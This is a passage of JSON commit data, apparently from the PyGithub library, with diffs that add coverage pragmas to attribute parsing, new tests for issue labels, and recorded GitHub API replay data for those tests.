attributes[ \"key\" ] is not None:\n+ if \"key\" in attributes and attributes[ \"key\" ] is not None: # pragma no branch\n self.__key = attributes[ \"key\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"verified\" in attributes and attributes[ \"verified\" ] is not None:\n+ if \"verified\" in attributes and attributes[ \"verified\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"verified\" ], bool )\n self.__verified = attributes[ \"verified\" ]","additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":8,"deletions":4,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Tag.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Tag.py","filename":"src/github/Tag.py","patch":"@@ -38,15 +38,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"commit\", \"name\", \"tarball_url\", \"zipball_url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = Commit.Commit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"tarball_url\" in attributes and attributes[ \"tarball_url\" ] is not None:\n+ if \"tarball_url\" in attributes and attributes[ \"tarball_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tarball_url\" ], str )\n self.__tarball_url = attributes[ \"tarball_url\" ]\n- if \"zipball_url\" in attributes and attributes[ \"zipball_url\" ] is not None:\n+ if \"zipball_url\" in attributes and attributes[ \"zipball_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"zipball_url\" ], str )\n self.__zipball_url = attributes[ \"zipball_url\" ]","additions":4,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":12,"deletions":6,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Team.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Team.py","filename":"src/github/Team.py","patch":"@@ -172,15 +172,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"members_count\", \"name\", \"permission\", \"repos_count\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"members_count\" in attributes and attributes[ \"members_count\" ] is not None:\n+ if \"members_count\" in attributes and attributes[ \"members_count\" ] is not None: # pragma no branch\n self.__members_count = attributes[ \"members_count\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"permission\" in attributes and attributes[ \"permission\" ] is not None:\n+ if \"permission\" in attributes and attributes[ \"permission\" ] is not None: # pragma no branch\n self.__permission = attributes[ \"permission\" ]\n- if \"repos_count\" in attributes and attributes[ \"repos_count\" ] is not None:\n+ if \"repos_count\" in attributes and attributes[ \"repos_count\" ] is not None: # pragma no branch\n self.__repos_count = attributes[ \"repos_count\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":10,"deletions":5,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/UserKey.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/UserKey.py","filename":"src/github/UserKey.py","patch":"@@ -87,14 +87,14 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"key\", \"title\", \"url\", \"verified\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"key\" in attributes and attributes[ \"key\" ] is not None:\n+ if \"key\" in attributes and attributes[ \"key\" ] is not None: # pragma no branch\n self.__key = attributes[ \"key\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"verified\" in attributes and attributes[ \"verified\" ] is not None:\n+ if \"verified\" in attributes and attributes[ \"verified\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"verified\" ], bool )\n self.__verified = attributes[ \"verified\" ]","additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":26,"deletions":1,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","additions":25,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":14,"deletions":7,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/IssueEvent.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/IssueEvent.py","filename":"test/IssueEvent.py","patch":"@@ -3,13 +3,13 @@\n class IssueEvent( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 15819975 )\r\n+ self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 16348656 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.event.actor.login, \"jacquev6\" )\r\n- self.assertEqual( self.event.commit_id, None )\r\n- self.assertEqual( self.event.created_at, \"2012-05-19T10:38:23Z\" )\r\n- self.assertEqual( self.event.event, \"subscribed\" )\r\n- self.assertEqual( self.event.id, 15819975 )\r\n- self.assertEqual( self.event.issue.number, 28 )\r\n- self.assertEqual( self.event.url, \"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15819975\" )\r\n+ self.assertEqual( self.event.commit_id, \"ed866fc43833802ab553e5ff8581c81bb00dd433\" )\r\n+ self.assertEqual( self.event.created_at, \"2012-05-27T07:29:25Z\" )\r\n+ self.assertEqual( self.event.event, \"referenced\" )\r\n+ self.assertEqual( self.event.id, 16348656 )\r\n+ self.assertEqual( self.event.issue.number, 30 )\r\n+ self.assertEqual( self.event.url, \"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16348656\" )\r","additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"added","changes":45,"deletions":0,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","patch":"@@ -0,0 +1,45 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","additions":45,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"added","changes":35,"deletions":0,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","patch":"@@ -0,0 +1,35 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","additions":35,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"added","changes":5,"deletions":0,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt","patch":"@@ -0,0 +1,5 @@\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":14,"deletions":7,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/IssueEvent.setUp.txt","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/IssueEvent.setUp.txt","filename":"test/ReplayData/IssueEvent.setUp.txt","patch":"@@ -1,15 +1,15 @@\n GET /user {'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4907'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"99c9bfb75395b749e9913a4729126fb5\"'), ('date', 'Sun, 27 May 2012 07:19:30 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"private_gists\":5,\"type\":\"User\",\"company\":\"Criteo\",\"location\":\"Paris, France\",\"hireable\":false,\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"bio\":\"\",\"following\":24,\"blog\":\"http://vincent-jacques.net\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"total_private_repos\":5,\"followers\":13,\"owned_private_repos\":5,\"disk_usage\":16976,\"collaborators\":0,\"html_url\":\"https://github.com/jacquev6\",\"url\":\"https://api.github.com/users/jacquev6\",\"name\":\"Vincent Jacques\",\"login\":\"jacquev6\",\"public_repos\":11,\"public_gists\":3,\"email\":\"vincent@vincent-jacques.net\",\"id\":327146,\"plan\":{\"private_repos\":5,\"collaborators\":1,\"name\":\"micro\",\"space\":614400},\"created_at\":\"2010-07-09T06:10:06Z\"}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"8974bb1628a3e3a6d3eb3b08c1b5a46b\"'), ('date', 'Sun, 27 May 2012 07:32:54 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"type\":\"User\",\"bio\":\"\",\"disk_usage\":16976,\"total_private_repos\":5,\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"owned_private_repos\":5,\"collaborators\":0,\"plan\":{\"collaborators\":1,\"private_repos\":5,\"name\":\"micro\",\"space\":614400},\"company\":\"Criteo\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"email\":\"vincent@vincent-jacques.net\",\"public_gists\":3,\"followers\":13,\"name\":\"Vincent Jacques\",\"created_at\":\"2010-07-09T06:10:06Z\",\"blog\":\"http://vincent-jacques.net\",\"location\":\"Paris, France\",\"hireable\":false,\"id\":327146,\"private_gists\":5,\"public_repos\":11,\"following\":24,\"html_url\":\"https://github.com/jacquev6\"}\n \n GET /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4906'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"4c20acf0b23f75bbf25106b1a04f65a5\"'), ('date', 'Sun, 27 May 2012 07:19:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"description\":\"Python library implementing the full Github API v3\",\"full_name\":\"jacquev6/PyGithub\",\"has_wiki\":false,\"has_issues\":true,\"updated_at\":\"2012-05-27T06:55:28Z\",\"forks\":3,\"mirror_url\":null,\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"open_issues\":16,\"fork\":false,\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"pushed_at\":\"2012-05-27T06:00:28Z\",\"size\":308,\"html_url\":\"https://github.com/jacquev6/PyGithub\",\"private\":false,\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"owner\":{\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"url\":\"https://api.github.com/users/jacquev6\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"has_downloads\":true,\"language\":\"Python\",\"watchers\":15,\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"id\":3544490,\"permissions\":{\"admin\":true,\"pull\":true,\"push\":true},\"created_at\":\"2012-02-25T12:53:47Z\"}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"f1e4eb3993a364b66b68ec9db42405bd\"'), ('date', 'Sun, 27 May 2012 07:32:55 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"clone_url\":\"https://github.com/jacquev6/PyGithub.git\",\"has_downloads\":true,\"watchers\":15,\"updated_at\":\"2012-05-27T07:29:24Z\",\"permissions\":{\"pull\":true,\"admin\":true,\"push\":true},\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub\",\"mirror_url\":null,\"has_wiki\":false,\"has_issues\":true,\"fork\":false,\"forks\":3,\"git_url\":\"git://github.com/jacquev6/PyGithub.git\",\"size\":308,\"private\":false,\"open_issues\":16,\"svn_url\":\"https://github.com/jacquev6/PyGithub\",\"owner\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"language\":\"Python\",\"description\":\"Python library implementing the full Github API 